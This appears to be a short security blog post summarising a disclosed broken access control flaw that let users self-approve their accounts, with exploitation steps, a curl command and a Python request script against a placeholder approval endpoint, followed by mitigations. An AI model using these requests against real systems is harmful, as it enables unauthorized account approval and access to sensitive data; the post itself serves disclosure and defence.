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In a recent discovery on a public HackerOne VDP (Vulnerability Disclosure Program), a critical Broken Access Control vulnerability was identified. This flaw allowed users to self-approve their own accounts, bypassing intended business logic and gaining unauthorized access to sensitive data.
You Should Know:
1. Understanding Broken Access Control
Broken Access Control occurs when an application fails to enforce proper restrictions, allowing users to perform actions outside their intended permissions.
2. Exploitation Steps
- Intercept the Approval Request: Use Burp Suite or OWASP ZAP to capture the account approval API call.
- Modify the Request: Change the user ID or approval parameter to your own account.
- Bypass Validation: If the backend lacks proper checks, the system may approve the request.
3. Testing Commands & Code
Using cURL to Test Endpoint:
curl -X POST "https://target.com/api/approve" -H "Authorization: Bearer YOUR_TOKEN" -d '{"user_id":"ATTACKER_ID"}'
Python Exploit Script:
import requests
url = "https://target.com/api/approve"
headers = {"Authorization": "Bearer YOUR_TOKEN"}
payload = {"user_id": "ATTACKER_ID"}
response = requests.post(url, headers=headers, json=payload)
print(response.text)
4. Mitigation Techniques
- Implement Role-Based Access Control (RBAC)
- Server-Side Validation: Always verify permissions on the backend.
- Log and Monitor: Track approval requests for anomalies.
5. Linux & Windows Security Checks
Linux (Check Permissions):
ls -la /var/www/html/ Check web directory permissions chmod 750 /var/www/html/restricted Restrict access
Windows (Audit Access):
Get-Acl C:\WebApp\SecureFolder | Format-List Check folder permissions
What Undercode Say
Broken Access Control remains a top security risk (OWASP Top 10). Always validate user permissions at multiple layers—frontend UI restrictions are not enough. Regular penetration testing and automated scanning (using tools like Burp Suite, Nessus) help detect such flaws early.
Expected Output:
A secure system where self-approval is impossible, enforced via:
– Strict backend validation
– Multi-level approval workflows
– Real-time monitoring alerts
Relevant URLs:
References:
Reported By: Gggraldo Pt – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
